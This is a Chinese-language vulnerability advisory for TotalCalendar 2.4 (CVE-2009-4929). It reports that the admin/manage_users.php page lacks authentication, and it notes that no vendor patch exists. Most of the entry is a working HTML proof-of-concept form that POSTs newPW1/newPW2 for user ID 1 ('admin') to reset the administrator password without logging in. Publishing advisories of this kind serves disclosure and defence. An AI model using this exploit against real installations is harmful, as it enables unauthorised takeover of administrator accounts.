TotalCalendar manage_users.php页面非授权更改口令漏洞


添加时间:
2010-07-13

系统编号:
WAVDB-01680
BugCVE: CVE-2009-4929
BUGTRAQ: 34619

影响版本:
TotalCalendar 2.4

程序介绍:

TotalCalendar是一种基于Web的日程管理系统。

漏洞分析:

TotalCalendar的admin/manage_users.php页面没有强制管理认证,远程用户可以通过在HTTP请求中包含newPW1和newPW2参数任意更改口令。

漏洞利用:

 
  1. <title> Powered by: TotalCalendar 2.4 Remote Password Change </title>   
  2. <tr align="left">  
  3. <td width="10"> </td>  
  4. <td align="center"><span class="boxHeader">Cod[3]d By ThE g0bL!N</span></td>  
  5. <td width="10" align="right"></td>  
  6. </tr>  
  7. </table></span></td>  
  8.      
  9.     </tr>  
  10.   </table>  
  11.   </td>  
  12.    </tr>  
  13.    <tr>  
  14.      <td style="padding: 0px;">  
  15.   <table width="100%" height="100%" cellspacing="0" style="padding: 0px;">  
  16.     <tr>  
  17.     
  18.    <td height="100%" style="padding: 0px;">  
  19. <div align="left" id="25_content_area" style="">  
  20.   <script language="javascript">  
  21.   // Should we show the pw changing fields or not  
  22.   function pwChanger(bool)  
  23.   {  
  24.    if(bool)  
  25.    {  
  26.     // Show password changer  
  27.     document.getElementById('pwChange').style.display = "none";  
  28.     document.getElementById('pwDontChange').style.display = "";  
  29.     document.getElementById('pwChangerArea').style.display = "";  
  30.     document.getElementById('changePW').value = 1;  
  31.    }  
  32.    else  
  33.    {  
  34.     // Hide password changer  
  35.     document.getElementById('pwChange').style.display = "";  
  36.     document.getElementById('pwDontChange').style.display = "none";  
  37.     document.getElementById('pwChangerArea').style.display = "none";  
  38.     document.getElementById('changePW').value = 0;  
  39.    }  
  40.   }  
  41.   </script>  
  42.   <br /<br /><br /><form method="POST" action="http://www.example.com/calendar/admin/manage_users.php"><input type="hidden" name="action" value="Save" /><input id="changePW" type="hidden" name="changePW" value="0" /><input type="hidden" name="uid" value="1" />  
  43.   <table align="center">  
  44.     <tr>  
  45.       <td align="right" valign="top"><b>First Name:</b></td>  
  46.    <td>  </td>  
  47.    <td align="left" valign="top"><input name="fname" value="Dos-Dz" size="33" /></td>  
  48.     </tr>  
  49.     <tr>  
  50.       <td align="right" valign="top"><b>Last Name:</b></td>  
  51.    <td>  </td>  
  52.    <td align="left" valign="top"><input name="lname" value="admin" size="33" /></td>  
  53.     </tr>  
  54.     <tr>  
  55.       <td colspan="3"> </td>  
  56.     </tr>  
  57.     <tr>  
  58.       <td align="right" valign="top"><b>Username:</b></td>  
  59.    <td>  </td>  
  60.    <td align="left" valign="top"><input name="username" value="admin" size="25" /></td>  
  61.     </tr>  
  62.     <tr>  
  63.       <td align="right" valign="top"><b>Email Address:</b></td>  
  64.    <td>  </td>  
  65.    <td align="left" valign="top"><input name="email" value="x0q@hotmail.fr" size="40" /></td>  
  66.     </tr>  
  67.     <tr>  
  68.       <td colspan="3"> </td>  
  69.     </tr>  
  70.     <tr id="pwChange">  
  71.       <td align="right" valign="top"> </td>  
  72.    <td>  </td>  
  73.    <td align="left" valign="top"><a class="smallLinkText" onClick="pwChanger(true);" title="Click here to reset user's passord..." style="cursor: pointer;">Reset Password</a></td>  
  74.     </tr>  
  75.     <tr id="pwDontChange" style="display: none;">  
  76.       <td align="right" valign="top"> </td>  
  77.    <td>  </td>  
  78.    <td align="left" valign="top"><a class="smallLinkText" onClick="pwChanger(false);" title="Don't reset user's password password..." style="cursor: pointer;">Do Not Reset Password</a></td>  
  79.     </tr>  
  80.     <tr>  
  81.       <td colspan="3"> </td>  
  82.     </tr>  
  83.     <tr id="pwChangerArea" style="display: none;">  
  84.       <td colspan="3">  
  85.    <table width="100%">  
  86.      <tr>  
  87.     <td align="right" valign="top"><b>New Password:</b></td>  
  88.     <td>  </td>  
  89.     <td align="left" valign="top"><input type="password" name="newPW1" size="20" /></td>  
  90.      </tr>  
  91.      <tr>  
  92.     <td align="right" valign="top"><b>Confirm New Password:</b></td>  
  93.     <td>  </td>  
  94.     <td align="left" valign="top"><input type="password" name="newPW2" size="20" /></td>  
  95.      </tr>  
  96.      <tr>  
  97.     <td colspan="3"> </td>  
  98.      </tr>  
  99.    </table>  
  100.       </td>  
  101.     </tr>  
  102.     <tr>  
  103.       <td colspan="3" align="center"><input type="submit" name="action" value="Save" /> <input type="submit" name="action" value="Cancel" /></td>  
  104.     </tr>  
  105.   </table></form><br /></div></td>  
 

解决方案:
厂商补丁:
SweetPHP
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sweetphp.com/nuke/modules ... t_Preview&script=12

信息来源:
<*来源:ThE g0bL!N
链接:http://secunia.com/advisories/34824
*>